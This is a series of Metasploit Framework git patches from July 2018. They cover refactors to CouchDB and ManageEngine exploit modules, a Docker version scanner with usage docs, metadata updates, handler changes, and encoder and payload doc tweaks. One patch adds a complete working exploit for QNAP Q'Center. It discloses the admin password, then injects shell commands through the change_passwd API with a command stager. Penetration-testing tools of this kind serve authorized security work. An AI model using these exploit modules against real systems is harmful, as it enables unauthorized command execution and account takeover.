service...") - stop_service end # CVE-2017-12635 @@ -121,7 +119,7 @@ class MetasploitModule < Msf::Exploit::Remote 'data' => %({"type": "user","name": "#{username}","roles": ["_admin"],"roles": [],"password": "#{password}"}) ) - if res && res.code == 200 && res.get_json_document['ok'] + if res && (res.code == 200 || res.code == 201) && res.get_json_document['ok'] return true else return false @@ -137,7 +135,7 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'GET', 'authorization' => @auth ) - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError + rescue Rex::ConnectionError vprint_bad("#{peer} - Connection failed") return false end @@ -173,7 +171,6 @@ class MetasploitModule < Msf::Exploit::Remote version = Gem::Version.new(@version) if version.version.empty? - vprint_warning("#{peer} - Cannot retrieve the version of CouchDB.") # if target set Automatic, exploit failed. if target == targets[0] @@ -183,7 +180,6 @@ class MetasploitModule < Msf::Exploit::Remote elsif target == targets[2] payload2 end - elsif version < Gem::Version.new('1.7.0') payload1 elsif version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0')) @@ -202,7 +198,8 @@ class MetasploitModule < Msf::Exploit::Remote rand_doc = Rex::Text.rand_text_alpha_lower(4..12) rand_hex = Rex::Text.rand_text_hex(32) rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}" - @file_to_clean = rand_file + + register_file_for_cleanup(rand_file) send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"), @@ -258,13 +255,14 @@ class MetasploitModule < Msf::Exploit::Remote rand_hex = Rex::Text.rand_text_hex(32) rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}" - @file_to_clean = rand_file + register_file_for_cleanup(rand_file) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/_membership"), 'method' => 'GET', 'authorization' => @auth ) + node = res.get_json_document['all_nodes'][0] send_request_cgi( @@ -316,43 +314,4 @@ class MetasploitModule < Msf::Exploit::Remote "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}" end - # - # Override methods - # - - def on_request_uri(cli, request) - if !@cmdstager - print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") - return - end - - print_status("Sending payload #{datastore['PAYLOAD']}") - super - end - - def start_service(opts = {}) - super - @service_url = get_uri - end - - # mark the exploit successful and clean temp file created during exploiting - def on_new_session(client) - # mark flag be true to stop exploit. - @exploit_flag = true - - # CmdStager should rm the file, but it blocks on the payload, so we do it - @file_to_clean << " #{cmdstager_path}" - vprint_status("Cleaning temp file #{@file_to_clean}") - begin - if client.type.eql? 'meterpreter' - client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi' - client.fs.file.rm @file_to_clean - else - client.shell_command_token("rm #{@file_to_clean}") - end - vprint_good("Cleaned temp file successful.") - rescue StandardError - print_warning("Need to clean the temp file #{@file_to_clean} manually.") - end - end end From cce3b6f369ad42b0b63fcd964faea5f3ac9064aa Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 12 Jul 2018 02:56:47 -0500 Subject: [PATCH 129/217] Clean up module --- .../scanner/http/{docker_enum.rb => docker_version.rb} | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) rename modules/auxiliary/scanner/http/{docker_enum.rb => docker_version.rb} (90%) diff --git a/modules/auxiliary/scanner/http/docker_enum.rb b/modules/auxiliary/scanner/http/docker_version.rb similarity index 90% rename from modules/auxiliary/scanner/http/docker_enum.rb rename to modules/auxiliary/scanner/http/docker_version.rb index 47f654ebd0..f1266534d0 100644 --- a/modules/auxiliary/scanner/http/docker_enum.rb +++ b/modules/auxiliary/scanner/http/docker_version.rb @@ -12,7 +12,7 @@ class MetasploitModule < Msf::Auxiliary super(update_info(info, 'Name' => 'Docker Server Version Scanner', 'Description' => %q{ - This module attempts to identify the version of the Docker Server running on a + This module attempts to identify the version of a Docker Server running on a host. If you wish to see all the information available, set VERBOSE to true. }, 'Author' => [ 'Agora-Security' ], @@ -26,7 +26,7 @@ class MetasploitModule < Msf::Auxiliary def run_host(ip) res = send_request_cgi({ - 'uri' => normalize_uri("/version"), + 'uri' => '/version', 'method' => 'GET'}) if res.nil? || res.code != 200 print_error("[Docker Version] failed to identify version") @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary print_status ("All info: #{result.to_s}") if datastore['VERBOSE'] report_note( :host => ip, - :port => datastore['RPORT'], + :port => rport, :proto => 'tcp', :ntype => 'docker_version', :data => result['Version'], From e62dbecbef677c2c0bed6c8308c591b389385796 Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 12 Jul 2018 03:05:57 -0500 Subject: [PATCH 130/217] Add module doc --- .../auxiliary/scanner/http/docker_version.md | 28 +++++++++++++++++++ 1 file changed, 28 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/http/docker_version.md diff --git a/documentation/modules/auxiliary/scanner/http/docker_version.md b/documentation/modules/auxiliary/scanner/http/docker_version.md new file mode 100644 index 0000000000..685960a17d --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/docker_version.md @@ -0,0 +1,28 @@ +## Intro + +This module scans for Docker servers listening on a TCP port (default 2375). + +## Options + +**VERBOSE** + +Enable this to dump all info to the screen. + +## Usage + +``` +msf5 > use auxiliary/scanner/http/docker_version +msf5 auxiliary(scanner/http/docker_version) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf5 auxiliary(scanner/http/docker_version) > set verbose true +verbose => true +msf5 auxiliary(scanner/http/docker_version) > run + +[*] Identifying Docker Server Version on 127.0.0.1:2375 +[+] [Docker Server] Version: 18.03.1-ce +[*] All info: {"Platform"=>{"Name"=>""}, "Components"=>[{"Name"=>"Engine", "Version"=>"18.03.1-ce", "Details"=>{"ApiVersion"=>"1.37", "Arch"=>"amd64", "BuildTime"=>"2018-04-26T07:15:24.000000000+00:00", "Experimental"=>"false", "GitCommit"=>"9ee9f40", "GoVersion"=>"go1.9.5", "KernelVersion"=>"[redacted]", "MinAPIVersion"=>"1.12", "Os"=>"linux"}}], "Version"=>"18.03.1-ce", "ApiVersion"=>"1.37", "MinAPIVersion"=>"1.12", "GitCommit"=>"9ee9f40", "GoVersion"=>"go1.9.5", "Os"=>"linux", "Arch"=>"amd64", "KernelVersion"=>"[redacted]", "BuildTime"=>"2018-04-26T07:15:24.000000000+00:00"} +[*] Saving host information. +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf5 auxiliary(scanner/http/docker_version) > +``` From 048c1ee7b71c17498d7ff34cbee835e158193317 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 12 Jul 2018 01:18:45 -0700 Subject: [PATCH 131/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 26 +++++++++++++++++++++++++- 1 file changed, 25 insertions(+), 1 deletion(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 9b572d57ac..6d9260a6c4 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -13870,6 +13870,30 @@ "is_install_path": true, "ref_name": "scanner/http/dnalims_file_retrieve" }, + "auxiliary_scanner/http/docker_version": { + "name": "Docker Server Version Scanner", + "full_name": "auxiliary/scanner/http/docker_version", + "rank": 300, + "disclosure_date": null, + "type": "auxiliary", + "author": [ + "Agora-Security" + ], + "description": "This module attempts to identify the version of a Docker Server running on a\n host. If you wish to see all the information available, set VERBOSE to true.", + "references": [ + + ], + "is_server": false, + "is_client": false, + "platform": "", + "arch": "", + "rport": "2375", + "targets": null, + "mod_time": "2018-07-12 02:56:47 +0000", + "path": "/modules/auxiliary/scanner/http/docker_version.rb", + "is_install_path": true, + "ref_name": "scanner/http/docker_version" + }, "auxiliary_scanner/http/dolibarr_login": { "name": "Dolibarr ERP/CRM Login Utility", "full_name": "auxiliary/scanner/http/dolibarr_login", @@ -41887,7 +41911,7 @@ "name": "phpMyAdmin Authenticated Remote Code Execution", "full_name": "exploit/multi/http/phpmyadmin_lfi_rce", "rank": 400, - "disclosure_date": "2018-06-19", + "disclosure_date": "2018-06-19 00:00:00 +0000", "type": "exploit", "author": [ "ChaMd5", From 9c2777c6b931604246f4f631be7385d5732da93d Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 12 Jul 2018 01:56:07 -0700 Subject: [PATCH 132/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 38 ++++++++++++++++++++++++++++++++++- 1 file changed, 37 insertions(+), 1 deletion(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 6d9260a6c4..0a3d91c9e7 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -13888,7 +13888,9 @@ "platform": "", "arch": "", "rport": "2375", - "targets": null, + "targets": [ + + ], "mod_time": "2018-07-12 02:56:47 +0000", "path": "/modules/auxiliary/scanner/http/docker_version.rb", "is_install_path": true, @@ -30515,6 +30517,40 @@ "is_install_path": true, "ref_name": "linux/http/apache_continuum_cmd_exec" }, + "exploit_linux/http/apache_couchdb_cmd_exec": { + "name": "Apache CouchDB Arbitrary Command Execution", + "full_name": "exploit/linux/http/apache_couchdb_cmd_exec", + "rank": 600, + "disclosure_date": "2016-04-06", + "type": "exploit", + "author": [ + "Max Justicz", + "Joan Touzet", + "Green-m " + ], + "description": "CouchDB administrative users can configure the database server via HTTP(S).\n Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB.\n This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user,\n including downloading and executing scripts from the public internet.", + "references": [ + "CVE-2017-12636", + "CVE-2017-12635", + "URL-https://justi.cz/security/2017/11/14/couchdb-rce-npm.html", + "URL-http://docs.couchdb.org/en/latest/cve/2017-12636.html", + "URL-https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E" + ], + "is_server": false, + "is_client": false, + "platform": "Linux", + "arch": "x86, x64", + "rport": "5984", + "targets": [ + "Automatic", + "Apache CouchDB version 1.x", + "Apache CouchDB version 2.x" + ], + "mod_time": "2018-07-12 00:49:29 +0000", + "path": "/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb", + "is_install_path": true, + "ref_name": "linux/http/apache_couchdb_cmd_exec" + }, "exploit_linux/http/astium_sqli_upload": { "name": "Astium Remote Code Execution", "full_name": "exploit/linux/http/astium_sqli_upload", From 486225c2a8066a7862ab5a0b0b5a166d9e6d936b Mon Sep 17 00:00:00 2001 From: Kacper Szurek Date: Thu, 12 Jul 2018 14:27:28 +0200 Subject: [PATCH 133/217] Code review changes Use target_uri, split url inside normalize function, replace print with vprint, return CheckCode::Appears --- .../http/manageengine_adshacluster_rce.rb | 52 ++++++++++--------- 1 file changed, 27 insertions(+), 25 deletions(-) diff --git a/modules/exploits/windows/http/manageengine_adshacluster_rce.rb b/modules/exploits/windows/http/manageengine_adshacluster_rce.rb index 2d3608bdb3..b38820d299 100644 --- a/modules/exploits/windows/http/manageengine_adshacluster_rce.rb +++ b/modules/exploits/windows/http/manageengine_adshacluster_rce.rb @@ -46,39 +46,41 @@ class MetasploitModule < Msf::Exploit::Remote def check res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(datastore['TARGETURI'], '/exchange/servlet/GetProductVersion') + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'exchange', 'servlet', 'GetProductVersion') }) - if res && res.code == 200 - begin - json = res.get_json_document - rescue JSON::ParserError => e - print_error("Failed: #{e.class} - #{e.message}") - return Exploit::CheckCode::Unknown - end - - if json.empty? || !json['BUILD_NUMBER'] - print_error("Wrong server response") - return Exploit::CheckCode::Unknown - end - - print_status "Version: #{json['BUILD_NUMBER']}" - - if json['BUILD_NUMBER'].to_i <= 5310 - Exploit::CheckCode::Vulnerable - else - Exploit::CheckCode::Safe - end - else - Exploit::CheckCode::Unknown + unless res + vprint_error 'Connection failed' + return CheckCode::Safe end + + unless res.code == 200 + vprint_status 'Target is not Manage Engine Exchange Reporter Plus' + return CheckCode::Safe + end + + begin + json = res.get_json_document + raise if json.empty? || !json['BUILD_NUMBER'] + rescue + vprint_status 'Target is not Manage Engine Exchange Reporter Plus' + return CheckCode::Safe + end + + vprint_status "Version: #{json['BUILD_NUMBER']}" + + if json['BUILD_NUMBER'].to_i <= 5310 + return CheckCode::Appears + end + + CheckCode::Safe end def exploit res = send_request_cgi({ 'method' => 'POST', - 'uri' => normalize_uri(datastore['TARGETURI'], '/exchange/servlet/ADSHACluster'), + 'uri' => normalize_uri(target_uri.path, 'exchange', 'servlet', 'ADSHACluster'), 'vars_post' => { 'MTCALL' => "nativeClient", 'BCP_RLL' => "0102", From faf3adaee2bbcc31f8d61b1cd58bb45ce8d43c43 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Thu, 12 Jul 2018 10:11:45 -0500 Subject: [PATCH 134/217] Update --- .../crandomizer/code_factory/outputdebugstring_spec.rb | 2 +- .../obfuscation/crandomizer/random_statements_spec.rb | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/outputdebugstring_spec.rb b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/outputdebugstring_spec.rb index 6fedc8d326..fe99409f90 100644 --- a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/outputdebugstring_spec.rb +++ b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/outputdebugstring_spec.rb @@ -19,7 +19,7 @@ RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::Out expect(subject.send(:outputdebugstring_1)).to match(/void stub()/) end - it 'depends on stdlib.h' do + it 'depends on OutputDebugString' do expect(subject.dep).to eq(['OutputDebugString']) end end diff --git a/spec/lib/metasploit/framework/obfuscation/crandomizer/random_statements_spec.rb b/spec/lib/metasploit/framework/obfuscation/crandomizer/random_statements_spec.rb index 617ebaa0c7..9faf452c7b 100644 --- a/spec/lib/metasploit/framework/obfuscation/crandomizer/random_statements_spec.rb +++ b/spec/lib/metasploit/framework/obfuscation/crandomizer/random_statements_spec.rb @@ -44,7 +44,7 @@ RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::RandomStatements fake_function_name = fake_function.var.name fake_function_args = fake_function.var.type.args s = subject.send(:make_func_arg_str, fake_function_args) - expect(s).to match(/(.+)/) + expect(s).to match(/\(.*\)/) end end @@ -54,7 +54,7 @@ RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::RandomStatements fake_function_name = fake_function.var.name fake_function_args = fake_function.var.type.args s = subject.send(:make_func_declare_arg_str, fake_function_args) - expect(s).to match(/(.+)/) + expect(s).to match(/\(.*\)/) end end From e72b873f567632278833c89936e71358e1a3ef9f Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 12 Jul 2018 10:16:48 -0500 Subject: [PATCH 135/217] Fire off bind handlers when session_created? runs Also refactor because bind handlers don't use setup_handler. --- lib/msf/core/exploit.rb | 20 +++++++++++--------- lib/msf/core/exploit_driver.rb | 7 ++----- 2 files changed, 13 insertions(+), 14 deletions(-) diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index e6090478f3..22fe9529b1 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -335,9 +335,8 @@ class Exploit < Msf::Module # Allow all exploits to leverage context keyed encoding OptBool.new('EnableContextEncoding', [ false, "Use transient context when encoding payloads", false ]), OptPath.new('ContextInformationFile', [ false, "The information file that contains context information", nil ]), - # Allow all exploits to disable or defer starting their payload handlers - OptBool.new('DisablePayloadHandler', [ false, "Disable the handler code for the selected payload", false ]), - OptBool.new('DeferPayloadHandler', [ false, "Defer the handler code until the exploit is complete", false ]) + # Allow all exploits to disable their payload handlers + OptBool.new('DisablePayloadHandler', [ false, "Disable the handler code for the selected payload", false ]) ], Msf::Exploit) end @@ -432,14 +431,14 @@ class Exploit < Msf::Module 'active_timeout' => self.active_timeout } - return if handler_deferred? - # Set up the payload handlers payload_instance.setup_handler + # Defer starting bind handlers until after exploit completion + return if handler_bind? + # Start the payload handler payload_instance.start_handler - end # @@ -1243,10 +1242,10 @@ class Exploit < Msf::Module end # - # Allow the user to defer starting the payload handler + # If the payload uses a bind handler # - def handler_deferred? - datastore['DeferPayloadHandler'] + def handler_bind? + payload_instance && payload_instance.connection_type == 'bind' end ## @@ -1290,6 +1289,9 @@ class Exploit < Msf::Module # A boolean for whether a session has been created yet # def session_created? + # Start bind handlers before checking session creation + payload_instance.start_handler if handler_bind? + (self.session_count > 0) ? true : false end diff --git a/lib/msf/core/exploit_driver.rb b/lib/msf/core/exploit_driver.rb index 312ef20921..7debf1419d 100644 --- a/lib/msf/core/exploit_driver.rb +++ b/lib/msf/core/exploit_driver.rb @@ -214,16 +214,13 @@ protected exploit.handle_exception e end - if exploit.handler_deferred? - payload.setup_handler - payload.start_handler - end + # Start bind handlers after exploit completion + payload.start_handler if exploit.handler_bind? # Wait the payload to acquire a session if this isn't a passive-style # exploit. return if not delay - if (force_wait_for_session == true) or (exploit.passive? == false and exploit.handler_enabled?) begin From a9728d1bf169738163a5ea022c1ddfb5f7b7f37b Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 12 Jul 2018 09:14:02 -0700 Subject: [PATCH 136/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 28 +++++++++++++++++++++++++++- 1 file changed, 27 insertions(+), 1 deletion(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 0a3d91c9e7..bebf65c7ea 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -30521,7 +30521,7 @@ "name": "Apache CouchDB Arbitrary Command Execution", "full_name": "exploit/linux/http/apache_couchdb_cmd_exec", "rank": 600, - "disclosure_date": "2016-04-06", + "disclosure_date": "2016-04-06 00:00:00 +0000", "type": "exploit", "author": [ "Max Justicz", @@ -71296,6 +71296,32 @@ "is_install_path": true, "ref_name": "windows/http/manage_engine_opmanager_rce" }, + "exploit_windows/http/manageengine_adshacluster_rce": { + "name": "Manage Engine Exchange Reporter Plus Unauthenticated RCE", + "full_name": "exploit/windows/http/manageengine_adshacluster_rce", + "rank": 600, + "disclosure_date": "2018-06-28", + "type": "exploit", + "author": [ + "Kacper Szurek " + ], + "description": "This module exploits a remote code execution vulnerability that\n exists in Exchange Reporter Plus <= 5310, caused by execution of\n bcp.exe file inside ADSHACluster servlet", + "references": [ + "URL-https://security.szurek.pl/manage-engine-exchange-reporter-plus-unauthenticated-rce.html" + ], + "is_server": true, + "is_client": false, + "platform": "Windows", + "arch": "x86, x64", + "rport": "8181", + "targets": [ + "Automatic" + ], + "mod_time": "2018-07-12 14:27:28 +0000", + "path": "/modules/exploits/windows/http/manageengine_adshacluster_rce.rb", + "is_install_path": true, + "ref_name": "windows/http/manageengine_adshacluster_rce" + }, "exploit_windows/http/manageengine_appmanager_exec": { "name": "ManageEngine Applications Manager Remote Code Execution", "full_name": "exploit/windows/http/manageengine_appmanager_exec", From 147f59836a230cdf30ff4a5cc949a3c8fc409306 Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 12 Jul 2018 11:34:09 -0500 Subject: [PATCH 137/217] Fuel the hype machine --- lib/msf/base/serializer/readable_text.rb | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb index c8b32d31f7..f5f202ca17 100644 --- a/lib/msf/base/serializer/readable_text.rb +++ b/lib/msf/base/serializer/readable_text.rb @@ -499,9 +499,12 @@ class ReadableText if (mod.respond_to?(:references) && mod.references && mod.references.length > 0) output << "References:\n" - mod.references.each { |ref| + mod.references.each do |ref| + if ENV['FUEL_THE_HYPE_MACHINE'] && %w{LOGO SOUNDTRACK}.include?(ref.ctx_id) + Rex::Compat.open_browser(ref.ctx_val) + end output << indent + ref.to_s + "\n" - } + end output << "\n" end From 4114d5e8fabf32fd23ccccff40b00f7fab8058a5 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 12 Jul 2018 10:05:32 -0700 Subject: [PATCH 138/217] Weekly dependency update --- Gemfile.lock | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 8ac72c6aa9..37f66cff26 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -118,7 +118,8 @@ GEM crass (1.0.4) daemons (1.2.6) diff-lcs (1.3) - dnsruby (1.60.2) + dnsruby (1.61.1) + addressable (~> 2.5) docile (1.3.1) erubis (2.7.0) eventmachine (1.2.7) @@ -127,7 +128,7 @@ GEM factory_bot_rails (4.10.0) factory_bot (~> 4.10.0) railties (>= 3.0.0) - faker (1.8.7) + faker (1.9.1) i18n (>= 0.7) faraday (0.15.2) multipart-post (>= 1.2, < 3) From 378930e5f463a120449b5eea11ae1adb8132817f Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 10 Jul 2018 17:39:28 -0500 Subject: [PATCH 139/217] Prefer %w array over quoted array in php/base64 irb(main):001:0> ["(",")",".","_","c","h","r","e","v","a","l","b","s","6","4","d","o"] == %w{( ) . _ c h r e v a l b s 6 4 d o} => true irb(main):002:0> --- modules/encoders/php/base64.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/encoders/php/base64.rb b/modules/encoders/php/base64.rb index 46e8a13cb2..0cf728ab62 100644 --- a/modules/encoders/php/base64.rb +++ b/modules/encoders/php/base64.rb @@ -22,7 +22,7 @@ class MetasploitModule < Msf::Encoder def encode_block(state, buf) # Have to have these for the decoder stub, so if they're not available, # there's nothing we can do here. - ["(",")",".","_","c","h","r","e","v","a","l","b","s","6","4","d","o"].each do |c| + %w{( ) . _ c h r e v a l b s 6 4 d o}.each do |c| raise BadcharError if state.badchars.include?(c) end From 1f0535618d81fc6133b4026de8018c6690980ffc Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 10 Jul 2018 17:40:31 -0500 Subject: [PATCH 140/217] Document bareword string deprecation in php/base64 --- modules/encoders/php/base64.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/modules/encoders/php/base64.rb b/modules/encoders/php/base64.rb index 0cf728ab62..ae43d8be6e 100644 --- a/modules/encoders/php/base64.rb +++ b/modules/encoders/php/base64.rb @@ -38,6 +38,8 @@ class MetasploitModule < Msf::Encoder # characters, only part of the payload gets unencoded on the victim, # presumably due to a limitation in PHP identifier name lengths, so we # break the encoded payload into roughly 900-byte chunks. + # + # https://wiki.php.net/rfc/deprecate-bareword-strings b64 = Rex::Text.encode_base64(buf) From 3dda19f3c6377f3b142bbee2e2e78458f81160da Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 10 Jul 2018 18:34:21 -0500 Subject: [PATCH 141/217] Update documentation in cmd/unix/reverse_bash https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=146464 https://bugs.launchpad.net/ubuntu/+source/bash/+bug/215034 --- modules/payloads/singles/cmd/unix/reverse_bash.rb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/modules/payloads/singles/cmd/unix/reverse_bash.rb b/modules/payloads/singles/cmd/unix/reverse_bash.rb index 295b897c2a..ad62601e25 100644 --- a/modules/payloads/singles/cmd/unix/reverse_bash.rb +++ b/modules/payloads/singles/cmd/unix/reverse_bash.rb @@ -19,10 +19,11 @@ module MetasploitModule 'Name' => 'Unix Command Shell, Reverse TCP (/dev/tcp)', 'Description' => %q{ Creates an interactive shell via bash's builtin /dev/tcp. - This will not work on most Debian-based Linux distributions - (including Ubuntu) because they compile bash without the - /dev/tcp feature. - }, + + This will not work on circa 2009 and older Debian-based Linux + distributions (including Ubuntu) because they compile bash + without the /dev/tcp feature. + }, 'Author' => 'hdm', 'License' => MSF_LICENSE, 'Platform' => 'unix', From 4b62f413692f45e874a5278abe3996f473da41ce Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Thu, 12 Jul 2018 20:00:17 +0000 Subject: [PATCH 142/217] Add QNAP Q'Center change_passwd Command Execution exploit --- .../http/qnap_qcenter_change_passwd_exec.rb | 195 ++++++++++++++++++ 1 file changed, 195 insertions(+) create mode 100644 modules/exploits/linux/http/qnap_qcenter_change_passwd_exec.rb diff --git a/modules/exploits/linux/http/qnap_qcenter_change_passwd_exec.rb b/modules/exploits/linux/http/qnap_qcenter_change_passwd_exec.rb new file mode 100644 index 0000000000..1d593ef057 --- /dev/null +++ b/modules/exploits/linux/http/qnap_qcenter_change_passwd_exec.rb @@ -0,0 +1,195 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => "QNAP Q'Center change_passwd Command Execution", + 'Description' => %q{ + This module exploits a command injection vulnerability in the + `change_passwd` API method within the web interface of QNAP Q'Center + virtual appliance versions prior to 1.7.1083. + + The vulnerability allows the 'admin' privileged user account to + execute arbitrary commands as the 'admin' operating system user. + + Valid credentials for the 'admin' user account are required, however, + this module also exploits a separate password disclosure issue which + allows any authenticated user to view the password set for the 'admin' + user during first install. + + This module has been tested successfully on QNAP Q'Center appliance + version 1.6.1075. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Ivan Huertas', # Discovery and PoC + 'Brendan Coles' # Metasploit + ], + 'References' => + [ + ['CVE', '2018-0706'], # privesc + ['CVE', '2018-0707'], # rce + ['URL', 'http://seclists.org/fulldisclosure/2018/Jul/45'], + ['URL', 'https://www.qnap.com/en-us/security-advisory/nas-201807-10'] + ], + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => [['Auto', { }]], + 'CmdStagerFlavor' => %w[printf bourne wget], + 'Privileged' => false, + 'DisclosureDate' => 'Jul 11 2018', + 'DefaultOptions' => {'RPORT' => 443, 'SSL' => true}, + 'DefaultTarget' => 0)) + register_options [ + OptString.new('TARGETURI', [true, "Base path to Q'Center", '/qcenter/']), + OptString.new('USERNAME', [true, 'Username for the application', 'admin']), + OptString.new('PASSWORD', [true, 'Password for the application', 'admin']) + ] + register_advanced_options [ + OptBool.new('ForceExploit', [false, 'Override check result', false]) + ] + end + + def check + res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'index.html') + + unless res + vprint_error 'Connection failed' + return CheckCode::Unknown + end + + unless res.code == 200 && res.body.include?("Q'center") + vprint_error "Target is not a QNAP Q'Center appliance" + return CheckCode::Safe + end + + version = res.body.scan(/\.js\?_v=([\d\.]+)/).flatten.first + if version.to_s.eql? '' + vprint_error "Could not determine QNAP Q'Center appliance version" + return CheckCode::Detected + end + + version = Gem::Version.new version + vprint_status "Target is QNAP Q'Center appliance version #{version}" + + if version >= Gem::Version.new('1.7.1083') + return CheckCode::Safe + end + + CheckCode::Appears + end + + def login(user, pass) + vars_post = { + name: user, + password: Rex::Text.encode_base64(pass), + remember: 'false' + } + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/hawkeye/v1/login'), + 'ctype' => 'application/json', + 'data' => vars_post.to_json + }) + + if res.nil? + fail_with Failure::Unreachable, 'Connection failed' + elsif res.code == 200 && res.body.eql?('{}') + print_good "Authenticated as user '#{user}' successfully" + elsif res.code == 401 || res.body.include?('AuthException') + fail_with Failure::NoAccess, "Invalid credentials for user '#{user}'" + else + fail_with Failure::UnexpectedReply, "Unexpected reply [#{res.code}]" + end + + @cookie = res.get_cookies + if @cookie.nil? + fail_with Failure::UnexpectedReply, 'Failed to retrieve cookie' + end + end + + # + # Retrieve list of user accounts + # + def account + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/hawkeye/v1/account'), + 'cookie' => @cookie + }) + JSON.parse(res.body)['account'] + rescue + print_error 'Could not retrieve list of users' + nil + end + + # + # Login to the 'admin' privileged user account + # + def privesc + print_status 'Retrieving admin user details ...' + + admin = account.first + if admin.blank? || admin['_id'].blank? || admin['name'].blank? || admin['new_password'].blank? + fail_with Failure::UnexpectedReply, 'Failed to retrieve admin user details' + end + + @id = admin['_id'] + @pw = Rex::Text.decode_base64 admin['new_password'] + print_good "Found admin password used during install: #{@pw}" + + login admin['name'], @pw + end + + # + # Change password to +new+ for user with ID +id+ + # + def change_passwd(id, old, new) + vars_post = { + _id: id, + old_password: Rex::Text.encode_base64(old), + new_password: Rex::Text.encode_base64(new), + } + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/hawkeye/v1/account'), + 'query' => 'change_passwd', + 'cookie' => @cookie, + 'ctype' => 'application/json', + 'data' => vars_post.to_json + }, 5) + end + + def execute_command(cmd, _opts) + change_passwd @id, @pw, "\";#{cmd};\"" + end + + def exploit + unless [CheckCode::Detected, CheckCode::Appears].include? check + unless datastore['ForceExploit'] + fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' + end + print_warning 'Target does not appear to be vulnerable' + end + + login datastore['USERNAME'], datastore['PASSWORD'] + + if datastore['USERNAME'].eql? 'admin' + @id = @cookie.scan(/_ID=(.+?);/).flatten.first + @pw = datastore['PASSWORD'] + else + privesc + end + + print_status 'Sending payload ...' + execute_cmdstager linemax: 10_000 + end +end From 6751d4856443a14c1842b3d00fe27e87b8a30091 Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 12 Jul 2018 17:50:47 -0400 Subject: [PATCH 143/217] A few aux module docs --- .../auxiliary/scanner/imap/imap_version.md | 59 +++++++++ 